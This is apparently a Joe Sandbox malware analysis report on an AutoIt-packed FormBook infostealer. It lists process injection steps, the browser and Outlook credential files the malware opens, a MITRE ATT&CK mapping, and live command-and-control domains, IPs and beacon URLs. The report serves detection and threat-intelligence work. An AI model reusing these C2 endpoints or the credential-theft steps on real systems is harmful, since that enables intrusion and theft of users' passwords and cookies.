                Source: C:\Windows\SysWOW64\prevhost.exeThread APC queued: target process: C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exeJump to behavior
                Writes to foreign memory regions
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeMemory written: C:\Windows\SysWOW64\svchost.exe base: 2F8A008Jump to behavior
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002F1201 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,0_2_002F1201
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002D2BA5 SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,0_2_002D2BA5
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002FB226 SendInput,keybd_event,0_2_002FB226
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_003122DA GetForegroundWindow,GetDesktopWindow,GetWindowRect,mouse_event,GetCursorPos,mouse_event,0_2_003122DA
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\fqbVL4XxCr.exe"Jump to behavior
                Source: C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exeProcess created: C:\Windows\SysWOW64\prevhost.exe "C:\Windows\SysWOW64\prevhost.exe"Jump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"Jump to behavior
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002F0B62 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,0_2_002F0B62
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002F1663 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,0_2_002F1663
                Source: fqbVL4XxCr.exeBinary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
                Source: fqbVL4XxCr.exe, bxTTlfXQvBrtf.exe, 00000004.00000000.1694736239.0000000000C50000.00000002.00000001.00040000.00000000.sdmp, bxTTlfXQvBrtf.exe, 00000004.00000002.2678022163.0000000000C50000.00000002.00000001.00040000.00000000.sdmp, bxTTlfXQvBrtf.exe, 00000006.00000002.2678019956.0000000001AC0000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Shell_TrayWnd
                Source: bxTTlfXQvBrtf.exe, 00000004.00000000.1694736239.0000000000C50000.00000002.00000001.00040000.00000000.sdmp, bxTTlfXQvBrtf.exe, 00000004.00000002.2678022163.0000000000C50000.00000002.00000001.00040000.00000000.sdmp, bxTTlfXQvBrtf.exe, 00000006.00000002.2678019956.0000000001AC0000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progman
                Source: bxTTlfXQvBrtf.exe, 00000004.00000000.1694736239.0000000000C50000.00000002.00000001.00040000.00000000.sdmp, bxTTlfXQvBrtf.exe, 00000004.00000002.2678022163.0000000000C50000.00000002.00000001.00040000.00000000.sdmp, bxTTlfXQvBrtf.exe, 00000006.00000002.2678019956.0000000001AC0000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: 0Program Manager
                Source: bxTTlfXQvBrtf.exe, 00000004.00000000.1694736239.0000000000C50000.00000002.00000001.00040000.00000000.sdmp, bxTTlfXQvBrtf.exe, 00000004.00000002.2678022163.0000000000C50000.00000002.00000001.00040000.00000000.sdmp, bxTTlfXQvBrtf.exe, 00000006.00000002.2678019956.0000000001AC0000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progmanlock
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002B0698 cpuid 0_2_002B0698
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_00308195 GetLocalTime,SystemTimeToFileTime,LocalFileTimeToFileTime,GetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,0_2_00308195
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002ED27A GetUserNameW,0_2_002ED27A
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002CB952 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,0_2_002CB952
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002942DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,0_2_002942DE

                Stealing of Sensitive Information

                barindex
                Yara detected FormBook
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000005.00000002.2676002365.00000000003A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.2678720361.00000000042B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.2678938866.0000000004300000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1769882585.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1772742161.0000000006DA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1770842704.00000000047E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000004.00000002.2678354704.0000000002CE0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
                Tries to harvest and steal browser information (history, passwords, etc)
                Source: C:\Windows\SysWOW64\prevhost.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login DataJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local StateJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\CookiesJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web DataJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local StateJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\CookiesJump to behavior
                Tries to steal Mail credentials (via file / registry access)
                Source: C:\Windows\SysWOW64\prevhost.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\Jump to behavior
                Source: fqbVL4XxCr.exeBinary or memory string: WIN_81
                Source: fqbVL4XxCr.exeBinary or memory string: WIN_XP
                Source: fqbVL4XxCr.exeBinary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
                Source: fqbVL4XxCr.exeBinary or memory string: WIN_XPe
                Source: fqbVL4XxCr.exeBinary or memory string: WIN_VISTA
                Source: fqbVL4XxCr.exeBinary or memory string: WIN_7
                Source: fqbVL4XxCr.exeBinary or memory string: WIN_8

                Remote Access Functionality

                barindex
                Yara detected FormBook
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000005.00000002.2676002365.00000000003A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.2678720361.00000000042B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.2678938866.0000000004300000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1769882585.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1772742161.0000000006DA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1770842704.00000000047E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000004.00000002.2678354704.0000000002CE0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_00311204 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,0_2_00311204
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_00311806 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,0_2_00311806

                Mitre Att&ck Matrix

                ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                Gather Victim Identity InformationAcquire Infrastructure2
                Valid Accounts                		1
                Native API                		1
                DLL Side-Loading                		1
                Exploitation for Privilege Escalation                		1
                Disable or Modify Tools                		1
                OS Credential Dumping                		2
                System Time Discovery                		Remote Services1
                Archive Collected Data                		4
                Ingress Tool Transfer                		Exfiltration Over Other Network Medium1
                System Shutdown/Reboot
                CredentialsDomainsDefault AccountsScheduled Task/Job2
                Valid Accounts                		1
                Abuse Elevation Control Mechanism                		1
                Deobfuscate/Decode Files or Information                		21
                Input Capture                		1
                Account Discovery                		Remote Desktop Protocol1
                Data from Local System                		1
                Encrypted Channel                		Exfiltration Over BluetoothNetwork Denial of Service
                Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)1
                DLL Side-Loading                		1
                Abuse Elevation Control Mechanism                		Security Account Manager2
                File and Directory Discovery                		SMB/Windows Admin Shares1
                Email Collection                		4
                Non-Application Layer Protocol                		Automated ExfiltrationData Encrypted for Impact
                Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook2
                Valid Accounts                		3
                Obfuscated Files or Information                		NTDS116
                System Information Discovery                		Distributed Component Object Model21
                Input Capture                		4
                Application Layer Protocol                		Traffic DuplicationData Destruction
                Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon Script21
                Access Token Manipulation                		1
                DLL Side-Loading                		LSA Secrets241
                Security Software Discovery                		SSH3
                Clipboard Data                		Fallback ChannelsScheduled TransferData Encrypted for Impact
                Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC Scripts412
                Process Injection                		2
                Valid Accounts                		Cached Domain Credentials12
                Virtualization/Sandbox Evasion                		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
                DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items12
                Virtualization/Sandbox Evasion                		DCSync3
                Process Discovery                		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job21
                Access Token Manipulation                		Proc Filesystem11
                Application Window Discovery                		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
                Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt412
                Process Injection                		/etc/passwd and /etc/shadow1
                System Owner/User Discovery                		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement

                Behavior Graph

                Hide Legend

                Legend:

                • Process
                • Signature
                • Created File
                • DNS/IP Info
                • Is Dropped
                • Is Windows Process
                • Number of created Registry Values
                • Number of created Files
                • Visual Basic
                • Delphi
                • Java
                • .Net C# or VB.NET
                • C, C++ or other language
                • Is malicious
                • Internet
                behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1588900 Sample: fqbVL4XxCr.exe Startdate: 11/01/2025 Architecture: WINDOWS Score: 100 28 www.030002513.xyz 2->28 30 www.vilakodsiy.sbs 2->30 32 4 other IPs or domains 2->32 42 Suricata IDS alerts for network traffic 2->42 44 Antivirus / Scanner detection for submitted sample 2->44 46 Multi AV Scanner detection for submitted file 2->46 50 4 other signatures 2->50 10 fqbVL4XxCr.exe 2 2->10         started        signatures3 48 Performs DNS queries to domains with low reputation 28->48 process4 signatures5 62 Binary is likely a compiled AutoIt script file 10->62 64 Found API chain indicative of sandbox detection 10->64 66 Writes to foreign memory regions 10->66 68 2 other signatures 10->68 13 svchost.exe 10->13         started        process6 signatures7 70 Maps a DLL or memory area into another process 13->70 16 bxTTlfXQvBrtf.exe 13->16 injected process8 signatures9 40 Found direct / indirect Syscall (likely to bypass EDR) 16->40 19 prevhost.exe 13 16->19         started        process10 signatures11 52 Tries to steal Mail credentials (via file / registry access) 19->52 54 Tries to harvest and steal browser information (history, passwords, etc) 19->54 56 Modifies the context of a thread in another process (thread injection) 19->56 58 3 other signatures 19->58 22 bxTTlfXQvBrtf.exe 19->22 injected 26 firefox.exe 19->26         started        process12 dnsIp13 34 mbakjisoo.site 172.96.187.60, 49708, 49709, 49710 SINGLEHOP-LLCUS Canada 22->34 36 187370.github.io 185.199.111.153, 49713, 49731, 49747 FASTLYUS Netherlands 22->36 38 2 other IPs or domains 22->38 60 Found direct / indirect Syscall (likely to bypass EDR) 22->60 signatures14

                Screenshots

                Thumbnails

                This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                windows-stand

                Antivirus, Machine Learning and Genetic Malware Detection

                Initial Sample

                SourceDetectionScannerLabelLink
                fqbVL4XxCr.exe66%ReversingLabsWin32.Trojan.AutoitInject
                fqbVL4XxCr.exe100%AviraHEUR/AGEN.1319493
                fqbVL4XxCr.exe100%Joe Sandbox ML

                Dropped Files

                ⊘No Antivirus matches

                Unpacked PE Files

                ⊘No Antivirus matches

                Domains

                ⊘No Antivirus matches

                URLs

                SourceDetectionScannerLabelLink
                http://pku-cs-cjw.top/o8v1/?rH=aBBw/QY72agee0%Avira URL Cloudsafe
                http://www.030002513.xyz/95le/?rH=ZgllZHsiydchqBHBA1JMF+RoiwLw/ScJ/Jj32S4NIs+PSlV3776FANxFoYb4iH80r13xZ8RWQuyuUHwO/KTQyMUlugyQN01aje7Bj48jZrfS5H3hLaTfjt6ZYeyb133wug==&B0=-V3pKrJ8iBXDb8300%Avira URL Cloudsafe
                http://www.pku-cs-cjw.top/o8v1/0%Avira URL Cloudsafe
                http://www.vilakodsiy.sbs0%Avira URL Cloudsafe
                http://www.vilakodsiy.sbs/w7eo/?rH=87jvmPBkWfHORTeDIH6vw6Iilw+7ldDVauNTJPGD6Y0g6pEQO5IgtLUhmq8D9IsvGok6fcDnqazXOW08rDaolct1438ccJEtgvb1cCvnPNMWlQI0o55REYR00vMG39XDrQ==&B0=-V3pKrJ8iBXDb8300%Avira URL Cloudsafe
                http://www.pku-cs-cjw.top/o8v1/?rH=aBBw/QY72agee++wmgm8YU8t73l2MhHHcyuYQPaRiLcCJdiW+8Frjxd5MkTQnyD8TNGws+KrSP+UmrRcv8qZwA+PuH7WMxB8JK0VpuN0UbWNJH+NSjIQxL6KGx3qfMmdjQ==&B0=-V3pKrJ8iBXDb8300%Avira URL Cloudsafe
                http://www.vilakodsiy.sbs/w7eo/0%Avira URL Cloudsafe
                http://www.mbakjisoo.site/s7cs/0%Avira URL Cloudsafe
                http://www.mbakjisoo.site/s7cs/?rH=XBO9aoYe0c4EV2lGWX/eqScH3WB2DUU8GMnJuxCb2bBG6S8RD/F6utRSsBVbsw81jNVeG9r0NAJ+O+sM6di/DPNN1AqW/vE5uP5HTi0LrCapwh/dWLa7LN3Ylr7QDZSGIw==&B0=-V3pKrJ8iBXDb8300%Avira URL Cloudsafe

                Domains and IPs

                Contacted Domains

                NameIPActiveMaliciousAntivirus DetectionReputation
                www.030002513.xyz
                		161.97.142.144
                		truetrue
                  		unknown
                  www.vilakodsiy.sbs
                  		104.21.112.1
                  		truetrue
                    		unknown
                    187370.github.io
                    		185.199.111.153
                    		truetrue
                      		unknown
                      mbakjisoo.site
                      		172.96.187.60
                      		truetrue
                        		unknown
                        www.mbakjisoo.site
                        		unknown
                        		unknownfalse
                          		unknown
                          www.pku-cs-cjw.top
                          		unknown
                          		unknownfalse
                            		unknown

                            Contacted URLs

                            NameMaliciousAntivirus DetectionReputation
                            http://www.vilakodsiy.sbs/w7eo/true
                            • Avira URL Cloud: safe
                            		unknown
                            http://www.mbakjisoo.site/s7cs/?rH=XBO9aoYe0c4EV2lGWX/eqScH3WB2DUU8GMnJuxCb2bBG6S8RD/F6utRSsBVbsw81jNVeG9r0NAJ+O+sM6di/DPNN1AqW/vE5uP5HTi0LrCapwh/dWLa7LN3Ylr7QDZSGIw==&B0=-V3pKrJ8iBXDb830true
                            • Avira URL Cloud: safe
                            		unknown
                            http://www.mbakjisoo.site/s7cs/true
                            • Avira URL Cloud: safe
                            		unknown
                            http://www.030002513.xyz/95le/?rH=ZgllZHsiydchqBHBA1JMF+RoiwLw/ScJ/Jj32S4NIs+PSlV3776FANxFoYb4iH80r13xZ8RWQuyuUHwO/KTQyMUlugyQN01aje7Bj48jZrfS5H3hLaTfjt6ZYeyb133wug==&B0=-V3pKrJ8iBXDb830true
                            • Avira URL Cloud: safe
                            		unknown
                            http://www.pku-cs-cjw.top/o8v1/?rH=aBBw/QY72agee++wmgm8YU8t73l2MhHHcyuYQPaRiLcCJdiW+8Frjxd5MkTQnyD8TNGws+KrSP+UmrRcv8qZwA+PuH7WMxB8JK0VpuN0UbWNJH+NSjIQxL6KGx3qfMmdjQ==&B0=-V3pKrJ8iBXDb830true
                            • Avira URL Cloud: safe
                            		unknown
                            http://www.vilakodsiy.sbs/w7eo/?rH=87jvmPBkWfHORTeDIH6vw6Iilw+7ldDVauNTJPGD6Y0g6pEQO5IgtLUhmq8D9IsvGok6fcDnqazXOW08rDaolct1438ccJEtgvb1cCvnPNMWlQI0o55REYR00vMG39XDrQ==&B0=-V3pKrJ8iBXDb830true
                            • Avira URL Cloud: safe
                            		unknown
                            http://www.pku-cs-cjw.top/o8v1/true
                            • Avira URL Cloud: safe
                            		unknown

                            URLs from Memory and Binaries

                            NameSourceMaliciousAntivirus DetectionReputation
                            http://pku-cs-cjw.top/o8v1/?rH=aBBw/QY72ageeprevhost.exe, 00000005.00000002.2680734311.0000000005268000.00000004.10000000.00040000.00000000.sdmp, bxTTlfXQvBrtf.exe, 00000006.00000002.2678541992.0000000003BD8000.00000004.00000001.00040000.00000000.sdmpfalse
                            • Avira URL Cloud: safe
                            		unknown
                            https://ac.ecosia.org/autocomplete?q=prevhost.exe, 00000005.00000003.1963539063.00000000078BE000.00000004.00000020.00020000.00000000.sdmpfalse
                              		high
                              https://duckduckgo.com/chrome_newtabprevhost.exe, 00000005.00000003.1963539063.00000000078BE000.00000004.00000020.00020000.00000000.sdmpfalse
                                		high
                                https://duckduckgo.com/ac/?q=prevhost.exe, 00000005.00000003.1963539063.00000000078BE000.00000004.00000020.00020000.00000000.sdmpfalse
                                  		high
                                  https://www.google.com/images/branding/product/ico/googleg_lodp.icoprevhost.exe, 00000005.00000003.1963539063.00000000078BE000.00000004.00000020.00020000.00000000.sdmpfalse
                                    		high
                                    https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/searchprevhost.exe, 00000005.00000003.1963539063.00000000078BE000.00000004.00000020.00020000.00000000.sdmpfalse
                                      		high
                                      https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=prevhost.exe, 00000005.00000003.1963539063.00000000078BE000.00000004.00000020.00020000.00000000.sdmpfalse
                                        		high
                                        https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=prevhost.exe, 00000005.00000003.1963539063.00000000078BE000.00000004.00000020.00020000.00000000.sdmpfalse
                                          		high
                                          https://www.ecosia.org/newtab/prevhost.exe, 00000005.00000003.1963539063.00000000078BE000.00000004.00000020.00020000.00000000.sdmpfalse
                                            		high
                                            https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=prevhost.exe, 00000005.00000003.1963539063.00000000078BE000.00000004.00000020.00020000.00000000.sdmpfalse
                                              		high
                                              http://www.vilakodsiy.sbsbxTTlfXQvBrtf.exe, 00000006.00000002.2680309136.000000000595C000.00000040.80000000.00040000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown

                                              World Map of Contacted IPs

                                              • No. of IPs < 25%
                                              • 25% < No. of IPs < 50%
                                              • 50% < No. of IPs < 75%
                                              • 75% < No. of IPs

                                              Public IPs

                                              IPDomainCountryFlagASNASN NameMalicious
                                              104.21.112.1
                                              		www.vilakodsiy.sbsUnited States
                                              		13335CLOUDFLARENETUStrue
                                              161.97.142.144
                                              		www.030002513.xyzUnited States
                                              		51167CONTABODEtrue
                                              172.96.187.60
                                              		mbakjisoo.siteCanada
                                              		32475SINGLEHOP-LLCUStrue
                                              185.199.111.153
                                              		187370.github.ioNetherlands
                                              		54113FASTLYUStrue

                                              General Information

                                              Joe Sandbox version:42.0.0 Malachite
                                              Analysis ID:1588900
                                              Start date and time:2025-01-11 06:54:49 +01:00
                                              Joe Sandbox product:CloudBasic
                                              Overall analysis duration:0h 8m 53s
                                              Hypervisor based Inspection enabled:false
                                              Report type:full
                                              Cookbook file name:default.jbs
                                              Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                              Number of analysed new started processes analysed:10
                                              Number of new started drivers analysed:0
                                              Number of existing processes analysed:0
                                              Number of existing drivers analysed:0
                                              Number of injected processes analysed:2
                                              Technologies:
                                              • HCA enabled
                                              • EGA enabled
                                              • AMSI enabled
                                              Analysis Mode:default
                                              Analysis stop reason:Timeout
                                              Sample name:fqbVL4XxCr.exe
                                              renamed because original name is a hash value
                                              Original Sample Name:a5e313aac682e4c33dbfda8e5ecf838a1d4cd67f218bd72cc1ed08ac02221b2e.exe
                                              Detection:MAL
                                              Classification:mal100.troj.spyw.evad.winEXE@7/3@4/4
                                              EGA Information:
                                              • Successful, ratio: 75%
                                              HCA Information:
                                              • Successful, ratio: 90%
                                              • Number of executed functions: 44
                                              • Number of non-executed functions: 292
                                              Cookbook Comments:
                                              • Found application associated with file extension: .exe

                                              Warnings

                                              • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
                                              • Excluded IPs from analysis (whitelisted): 172.202.163.200, 13.107.246.45
                                              • Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                                              • Not all processes where analyzed, report is missing behavior information
                                              • Report creation exceeded maximum time and may have missing disassembly code information.
                                              • Report size exceeded maximum capacity and may have missing disassembly code.
                                              • VT rate limit hit for: fqbVL4XxCr.exe

                                              Simulations

                                              Behavior and APIs

                                              TimeTypeDescription
                                              00:56:57API Interceptor1582219x Sleep call for process: prevhost.exe modified

                                              Joe Sandbox View / Context

                                              IPs

                                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                              104.21.112.1BalphRTkPS.exeGet hashmaliciousFormBookBrowse
                                              • www.kkpmoneysocial.top/86am/
                                              9MZZG92yMO.exeGet hashmaliciousFormBookBrowse
                                              • www.buyspeechst.shop/qzi3/
                                              QUOTATION#070125-ELITE MARINE .exeGet hashmaliciousFormBookBrowse
                                              • www.buyspeechst.shop/w98i/
                                              wxl1r0lntg.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                              • 838596cm.nyafka.top/lineLongpolllinuxFlowercentraluploads.php
                                              SH8ZyOWNi2.exeGet hashmaliciousCMSBruteBrowse
                                              • beammp.com/phpmyadmin/
                                              161.97.142.144plZuPtZoTk.exeGet hashmaliciousFormBookBrowse
                                              • www.030002803.xyz/bw0u/
                                              gKvjKMCUfq.exeGet hashmaliciousFormBookBrowse
                                              • www.nb-shenshi.buzz/mz7t/
                                              SC_TR11670000_pdf.exeGet hashmaliciousFormBookBrowse
                                              • www.030002059.xyz/er88/
                                              RFQ3978 39793980.pdf.exeGet hashmaliciousFormBookBrowse
                                              • www.030002350.xyz/1a7n/
                                              SHIPPING DOCUMENTS_PDF.exeGet hashmaliciousFormBookBrowse
                                              • www.070001813.xyz/gn0y/
                                              PO2412010.exeGet hashmaliciousFormBookBrowse
                                              • www.070002018.xyz/6m2n/
                                              New Purchase Order.exeGet hashmaliciousFormBookBrowse
                                              • www.070001325.xyz/gebt/?INvlf=vv4Z5oAEVW8Fnw5+v3rC78A1apnlABoa7eW6m5kMXrJjwDKHwLvNIdd6hCLbwWC7cjqqbjXxYb26MUHQV2edmwlqePdZlnBGcJVL9hTasAQSXzj69w==&afo=JnyH0Z2
                                              Quotation Validity.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                              • www.070002018.xyz/6m2n/
                                              Order MEI PO IM202411484.exeGet hashmaliciousFormBookBrowse
                                              • www.030002613.xyz/xd9h/
                                              Documents.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                              • www.030002449.xyz/cfqm/

                                              Domains

                                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                              www.vilakodsiy.sbsydJaT4b5N8.exeGet hashmaliciousFormBookBrowse
                                              • 104.21.48.1
                                              4sfN3Gx1vO.exeGet hashmaliciousFormBookBrowse
                                              • 104.21.64.1
                                              www.030002513.xyz4sfN3Gx1vO.exeGet hashmaliciousFormBookBrowse
                                              • 161.97.142.144
                                              187370.github.ioAuKUol8SPU.exeGet hashmaliciousFormBookBrowse
                                              • 185.199.108.153
                                              3HnH4uJtE7.exeGet hashmaliciousFormBookBrowse
                                              • 185.199.109.153
                                              4sfN3Gx1vO.exeGet hashmaliciousFormBookBrowse
                                              • 185.199.108.153
                                              DHL.exeGet hashmaliciousFormBookBrowse
                                              • 185.199.110.153

                                              ASNs

